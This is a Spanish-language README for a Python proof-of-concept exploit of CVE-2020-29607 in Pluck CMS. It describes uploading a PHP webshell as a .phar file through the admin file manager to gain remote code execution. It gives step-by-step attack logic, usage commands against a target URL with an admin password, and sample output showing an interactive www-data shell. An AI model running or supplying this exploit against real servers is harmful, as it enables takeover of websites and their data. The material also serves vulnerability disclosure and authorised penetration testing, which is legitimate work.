CVE-2020-29607 — Pluck CMS <= 4.7.13 Carga de Archivos Autenticada RCE (PoC)

Ejecución remota de código autenticada en Pluck CMS anterior a 4.7.13. El administrador de archivos (admin.php?action=files) no valida las extensiones de archivo, permitiendo la subida de archivos .phar que Apache ejecuta como PHP. Subir una webshell a través de este endpoint resulta en RCE como el usuario del servidor web.

Cómo funciona

1. Se autentica usando la contraseña de administrador proporcionada.
2. Sube una webshell PHP como shell.phar a través del administrador de archivos.
3. Verifica la ejecución solicitando la shell y ejecutando id.
4. Abre un bucle de comandos interactivo contra la webshell subida.

Requisitos

• Python 3
• Instalar dependencias:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Uso

# Pluck en la raíz
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD

# Pluck en un subdirectorio
python3 exploit.py -u http://TARGET -p ADMIN_PASSWORD --path /pluck

Ejemplo:

$ python3 exploit.py -u http://10.10.10.10 -p admin123
[*] Iniciando sesión...
[+] Sesión iniciada
[*] Subiendo webshell...
[+] Webshell subida
[*] Shell URL: http://10.10.10.10/files/shell.phar
[+] ¡El objetivo es vulnerable! Salida: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell abierta. Escribe 'exit' o Ctrl+C para salir.

Shell> whoami
www-data

Referencias

• CVE-2020-29607
• EDB-49909
• PoC original de Ron Jost (Hacker5preme)

Créditos

• Descubrimiento y exploit original: Ron Jost (Hacker5preme)
• Puerto a Python 3 y shell interactiva: Esteban Zárate